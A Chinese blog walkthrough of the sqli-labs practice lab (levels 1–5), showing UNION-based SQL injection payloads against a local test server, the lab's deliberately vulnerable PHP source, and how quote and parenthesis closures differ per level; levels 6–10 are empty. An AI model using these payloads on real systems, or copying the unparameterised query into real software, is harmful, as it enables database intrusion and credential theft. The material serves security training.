欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

sqlilabs详解(不断更新)

程序员文章站 2022-04-25 23:08:44
...

题目

1-10

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

sqlilabs详解(不断更新)
sqlilabs详解(不断更新)

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+

常规注入,order by 4不行,order by 3 可以
然后,我们看看回显位置
如下是源码

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>

sql="SELECTFROMusersWHEREid=sql="SELECT * FROM users WHERE id='id’ LIMIT 0,1";
他直接获取了我们的id,填了进去,那么我们闭合前面的引号,注释后面的语句

$sql="SELECT * FROM users WHERE id='-1' union select 1,2,3 --+' LIMIT 0,1";

这是最后的语句
sqlilabs详解(不断更新)
我们查看他的数据库,security数据库

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

sqlilabs详解(不断更新)
group_concat 可以将所有的tables 提取出来
information_schema是mysql特有的库,存储各种数据库的信息
sqlilabs详解(不断更新)

我们查询他的字段
然后我们查询他的值,
sqlilabs详解(不断更新)
查询密码
sqlilabs详解(不断更新)

GET - Error based - Intiger based (基于错误的GET整型注入)

sqlilabs详解(不断更新)
这里我们没有加入单引号
及为整形
sqlilabs详解(不断更新)
源码这里和上面第一题,有明显不同
sqlilabs详解(不断更新)
其余注入和第一题完全一致

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

sqlilabs详解(不断更新)
查看源码我们发现
如果我们正常注入时,总归括号不能合并,那么我们
sqlilabs详解(不断更新)

http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,2,3 --+

这样,语句就被我们闭合

  $sql="SELECT * FROM users WHERE id=('-1') union select 1,2,3 --+') LIMIT 0,1";

其余注入和第一题讲解一致

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

sqlilabs详解(不断更新)
那么我们考虑如何将前面的闭合
sqlilabs详解(不断更新)

http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,3 --+

那么我们闭合完成的语句是
sqlilabs详解(不断更新)
其余和第一题注入一致

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

sqlilabs详解(不断更新)
sqlilabs详解(不断更新)
sqlilabs详解(不断更新)
正常闭合,显示正确
我们如果看到这样的报错信息,首先想到的就是布尔型盲注、报错型注入、时间延迟型盲注了,可以看他浏览器的反应来判断,这类型直接拿sqlmap跑就行,这里手工仅仅简单注入一下,毕竟这个工程量很大,

6

7

8

9

10

相关标签: sqli-labs